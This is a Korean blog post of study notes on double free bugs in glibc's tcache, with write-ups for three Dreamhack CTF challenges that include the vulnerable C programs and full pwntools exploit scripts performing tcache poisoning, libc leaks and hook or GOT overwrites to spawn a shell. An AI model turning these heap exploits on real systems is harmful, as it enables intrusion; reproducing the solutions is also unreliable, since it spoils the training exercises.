[드림핵-시스템] Double Free Bug

스근한국밥한그릇·2025년 2월 2일
0

SYSTEM

목록 보기
15/15

1. Double Free Bug

  • 같은 청크를 두번 해제할 수 있는 버그
  1. Free list 관점에서 Free는 청크 추가하는 함수, malloc은 청크를 꺼내는 함수
    • 임의의 청크에 대해 Free를 두번 이상 적용할 수 있다 : 같은 청크를 free list에 여러번 추가 가능하다는 뜻
    • duplicated chunk 존재시, duplicated free list 이용해 주소에 청크 할당 가능
  2. DFB 이용시 Duplicated Free list 만드는것 가능 - 청크와 연결리스트의 구조 때문
    3, fd, bk 값 저장하는 공간은 할당된 청크에서 데이터를 저장하는데 사용됨 - Free list에 중복해서 포함된다면, 첫번째 재할당에서 fd,bk 조작해 Free list에 임의 주소 포함 가능

1-1 정적 패치 분석

  1. tcache_entry : double free 탐지 위해 key pointer가 tcache_entry에 추가됨
    • tcache_entry는 해제된 tcache 청크들이 갖는 구조
    • fd가 next로 대체, LIFO 형태로 사용되므로 bk에 대응되는 값은 없다
  2. tcache_put : 해제한 청크를 tcache에 추가하는 함수
    • 해제되는 청크의 keydp Tcache라는 값을 대입하도록 변경됨
    • tcache는 tcache_perthread라는 구조체 변수 가짐
  3. tcache_get : tcache에 연결된 청크 재사용할때 사용하는 함수
    • 재사용하는 청크의 key값에 NULL 대입하도록 변경됨
  4. _int_free : 청크 해제시 호출되는 함수
    • 재할당하려는 청크의 key값이 tcach이면 double free 발생했다고 보고 프로그램 abort

1-2동적 분석

  1. set $chunk={tcache_entry*)0x~~~ : chunk 변수로 정의
  2. 이후 처크 해제할때까지 실행 후 메모리 출력시 Key값이 변경된 것을 확인 가능
    • tcache_parthread에 tcache들 저장되기 때문
  3. 위의 key값을 변경하지 않고 Free 재호출시 abort
    • if(__glibc_unlikely (e -> key ==tcache))만 통과하면 Tcache 청크 double free 가능
  4. 해제된 청크의 Key값을 1비트만이라도 바꾼다면 우회가능

2. tcache_poison

  • 해당 문제는 Exploit tech를 보며 작성함

2-1 동적 분석

  • plan
  1. 제목이 tcache_poison이기 때문에 tcache 관련 문제
  2. gdb를 통해 heap, bins를 확인
  3. checksec를 통해 보호기법 확인 후 exploit plan 계획
  • checksec

  1. NO PIE -> double free를 이용해서 특정 GOT주소를 overwrite하면 될것 같음
  2. 로컬에서 해당 문제 접근시 문제 의도와 다른 동작 -> Docker file을 이용해서 풀것

2-2 정적 분석

  • tcache_posion.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
 r     default:
        break;
    }
  }

  return 0;
}
  1. chunk NULL로 초기화 하지 않으므로 Dangling pointer
  2. Tcache poison 통해 double free 우회
    • alloc -> free -> edit -> free 시 가능
  3. 이후 onegadget을 이용해 exploit
    • libc base 알아야함
  • Exploit plan
  1. Tcache Poisoning
  2. Libc leak
    • setvbuf - 인자로 stdin, stdout 전달
      - libc 내부의 IO_2_1_stdin, IO_2_1_stdout을 가리킴
      • 위 포인터들은 전역 변수 : .bss 위치 -> PIE X -> 포인터들의 주소는 고정
  3. Hook oerwrite to get shell
    • __free_hook의 주소 계산 후 oneg_gadget overwrite 이후 free 호출

2-3 exploit code

# Name: tcache_poison.py
from pwn import *

p = remote("host1.dreamhack.games", 20015)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()

# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()

# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

3. Tcache_dup

3-1 동적 분석

  • Dokcerfile 빌드 후 이미지 실행 할 것
  1. create, delete 기능 있음
    • index를 기준으로 free함
  2. double free 가능 -> tcache_dup

3-2 정적 분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
  • tcache_poison 보다 쉬운 문제로 double free가 기본적으로 가능함
  1. get_shell()함수가 있기 떄문에 one_gadget 사용 x -> libc base안 구해도됨
    • NO PIE 이기 때문

3-3 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 14499)
#r = process("./tcache_dup")
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
#gdb.attach(r)
def create(size,data):
    p.sendlineafter("> ",b'1')
    p.sendlineafter("Size: ",str(size).encode())
    p.sendafter("Data: ",data)

def delete(idx):
    p.sendlineafter("> ",b'2')
    p.sendlineafter("idx: ",str(idx).encode())

getshell = e.symbols['get_shell']
success("getshell: "+hex(getshell))

free_got = e.got['free']
success("free_got: "+hex(free_got))

#tcache_dup
#tcache[0x40]: A
create(0x30,b'A')
delete(0)

#tcache[0x40]: A -> A
delete(0)

# tcache[0x40]: A -> free_got
create(0x30, p64(free_got))

# tcache[0x40]: free_got
create(0x30, b'B')

#tcache[0x40]: 
create(0x30, p64(getshell))

delete(0)

p.interactive()

4. tcache_dup2

  1. Partial RELRO
  2. NO PIE

4-1 정적 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}
  1. create 2번 -> free -> edit -> free => tcache_dup 가능
    • malloc 2번해야하는 이유 : 참조
      - 충분한 tc_idx 할당하기 위해
  2. tcache_dup과 같은 식으로 exploit code 작성하면 될듯

4-2 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 10854)
e = ELF("./tcache_dup2")
libc = ELF("./libc-2.30.so")

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

def create(size, data):
    p.sendlineafter("> ", b"1")
    p.sendlineafter("Size: ", str(size).encode()) 
    p.sendlineafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", b"2")
    p.sendlineafter("idx: ", idx)
    p.sendlineafter("Size: ", str(size).encode())
    p.sendlineafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", b"3")
    p.sendlineafter("idx: ", idx)

create(0x10, b"A"*8)
create(0x10, b'B'*8)
delete(b'0')
delete(b'1')
modify(b"1", 0x10, b"C"*8 + b'\x00')
delete(b'1')

getshell = e.sym['get_shell']
puts = e.got['printf']

create(0x10, p64(puts))
create(0x10, b'C'*8)
create(0x10, p64(getshell))

p.interactive()
profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글